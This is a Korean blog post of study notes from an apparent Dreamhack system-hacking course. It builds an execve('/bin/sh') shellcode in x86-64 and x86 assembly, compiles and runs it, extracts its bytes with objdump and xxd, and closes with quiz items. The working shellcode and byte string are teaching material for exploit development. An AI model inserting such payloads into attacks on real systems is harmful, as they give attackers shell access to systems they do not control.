** execve 셸코드
execve 셸코드

셸(shell, 껍질)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel, 호두 속 내용물)이라고 하는 것과 대비된다. 셸을 획득하면 시스템을 제어할 수 있게 되므로, 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다. 다른 언급없이 셸코드라고 하면 이를 의미하는 경우가 많다.
최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며, 이외에도 zsh, tsh 등의 셸을 유저가 설치해서 사용할 수 있다. 우리 실습 환경인 Ubuntu 22.04에도 /bin/sh가 존재하므로, 이를 실행하는 execve 셸코드를 작성해보자

** execve ("bin/sh",null,null)
execev 셸코드는 execve 시스템 콜만으로 구성된다.
|
syscall
|
rax
|
arg0(rdi)
|
arg1(rsi)
|
arg2(rdx)
|
|
execve
|
0x3b
|
const char *filename
|
const char *const *argv
|
const char *const *envp
|
여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다. 우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 된다. 리눅스에서는 기본 실행프로그램들이 /bin/ 디렉토리에 저장되어있으며, 우리가 실행할 sh도 여기에 저장되어있다.
따라서 우리는 execve("/bin/sh",null,null) 을 실행하는 것을 목표로 셸 코드를 작성하면 된다. 앞에서 작성한 orw 셸코드와 비교했을 때 그렇게 어렵지 않으므로, 직접 작성해보고 아래의 셸 코드와 비교
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
** execve 셸코드 컴파일 및 실행
앞에서 사용한 스켈레톤 코드를 이용하여 execve 셸코드를 컴파일한다. 다음은 셸코드를 채운 스켈레톤 코드이다.
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
위 코드를 컴파일 하고 실행한 결과는 다음과 같다. 실행 결과로 sh가 성공적으로 실행된 것을 확인할 수 있다.
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
이를 디버깅하는 것은 orw 셸코드와 동일하므로 여기서는 다루지 않겠다.

* objdump를 이용한 shellcode 추출
마지막으로, 작성한 shellcode를 byte code(opcode)의 형태로 추출하는 방법을 알아보겠다.
아래 주어진 shellcode.asm에 대해서 이를 바이트 코드로 바꾸는 과정이다.
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
아래와 같이 리눅스 명령어를 입력하면 오브젝트 파일인 shellcode.o를 얻을 수 있다.
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$

그 다음, objcopy 명령어를 이용하면 shellcode.bin 파일을 얻을 수 있다. 그리고 xxd 명령어로 shellcode.bin 파일의 내용과 바이트 값들을 16진수 형태로 파악할 수 있다.
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$

리틀엔디안으로 변환된 것임
위 xxd 출력 결과에서 바이트 값들을 추출하면 아래와 같이 바이트 코드 형태의 셸코드를 만들수도 있다.
# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
강의 요약✔️
이번 강의에서는 셸 코드를 작성하고 직접 디버깅해봤습니다. 셸 코드 작성법을 알았다고 해서 바로 시스템 해킹에 사용해 볼 수 있는 것은 아니지만, 앞으로 배우게 될 Return Address Overwrite과 같은 공격 기법들과 연계하면 강력한 공격 수단으로 활용될 수 있습니다.
이번 강의를 통해 디버깅 및 어셈블리어에 익숙해지고, 셸 코드가 무엇인지 이해하셨기를 바라며, 오른쪽의 퀴즈를 풀어보며 마무리하겠습니다.
다음 강의에서는 유명한 취약점 중 하나인 스택 버퍼 오버플로우에 대해 살펴보겠습니다.
Q1. stderr, stdin, stdout의 파일 지정자의 올바른 값을 고르시오.
stderr = 2, stdin = 0, stdout = 1
- stdin (표준 입력, 0): 프로그램이 데이터를 입력받을 때 사용. 일반적으로 키보드 입력과 연결됨.
- stdout (표준 출력, 1): 프로그램이 출력을 할 때 사용. 기본적으로 터미널이나 콘솔에 출력됨.
- stderr (표준 에러 출력, 2): 에러 메시지를 출력할 때 사용. 에러 메시지는 stdout과 별도로 처리됨.
스템 호출인 open, read, write 같은 함수들을 추적하면 해당 함수가 파일 지정자를 사용하는 모습을 확인할 수 있다.
Q2. 실습 환경에서 execve로 셸을 획득하려고 할 때, 다음 셸코드의 (a)에 들어갈 값을 고르시오
pwndbg> x/s 0x7fffffffc278
"/bin/sh\x00"
mov rdi, (a)
xor rsi, rsi
xor rdx, rdx
mov rax, (b)
syscall
0x7fffffffc278
GDB(pwndbg)에서 메모리 주소 0x7fffffffc278에 저장된 문자열 데이터를 확인하는 명령어
/bin/sh를 실행하는 작은 셸코드
- mov rdi, (a): rdi에 /bin/sh 문자열의 주소를 넣음. execve 시스템 호출에서 첫 번째 인자(실행할 프로그램의 경로)가 rdi에 들어가야한다.
- xor rsi, rsi: rsi를 0으로 설정. 이는 execve의 두 번째 인자(인자 목록)를 NULL로 지정하는 것.
- xor rdx, rdx: rdx를 0으로 설정. 이는 execve의 세 번째 인자(환경 변수 목록)를 NULL로 지정하는 것.
- mov rax, (b): rax에 시스템 호출 번호를 넣는다. execve의 시스템 호출 번호는 0x3b(59).
- syscall: execve("/bin/sh", NULL, NULL) 시스템 호출을 실행해 새로운 셸을 실행하게 됨
Q3. 실습 환경에서 execve로 셸을 획득하려고 할 때, 다음 셸코드의 (b)에 들어갈 값을 고르시오
pwndbg> x/s 0x7fffffffc278
"/bin/sh\x00"
mov rdi, 0x7fffffffc278
xor rsi, rsi
xor rdx, rdx
mov rax, (b)
syscall
0x3b
시스템 호출 번호는 운영 체제와의 인터페이스를 통해 특정 작업(예: 파일 열기, 프로세스 생성)을 요청할 때 사용된다.
리눅스 시스템에서 execve(프로그램 실행) 시스템 호출의 번호는 0x3b(10진수 -> 59)로 정의되어있다.
즉, mov rax, 0x3b는 rax 레지스터에 execve 시스템 호출 번호인 59를 넣는 것이며, 이후 syscall 명령어가 실행될 때 커널이 이를 해석해 /bin/sh를 실행하는 동작을 수행한다.
- execve의 시스템 호출 번호는 0x3b (10진수 59)로 정해져 있음.
- 다른 시스템 호출, 예를 들어 read는 0x00, write는 0x01 등의 번호를 가짐.
'공부중 > 시스템 해킹' 카테고리의 다른 글
| [Dreamhack] Exploit Tech: Return Address Overwrite (0) | 2024.09.16 |
|---|---|
| [Dreamhack] Stack Buffer Overflow (0) | 2024.09.15 |
| Tool: pwntools (0) | 2024.09.14 |
| Tool: gdb (0) | 2024.09.12 |
| [Dreamhack] x86 Assembly: Essential Part (2) (0) | 2024.09.11 |
댓글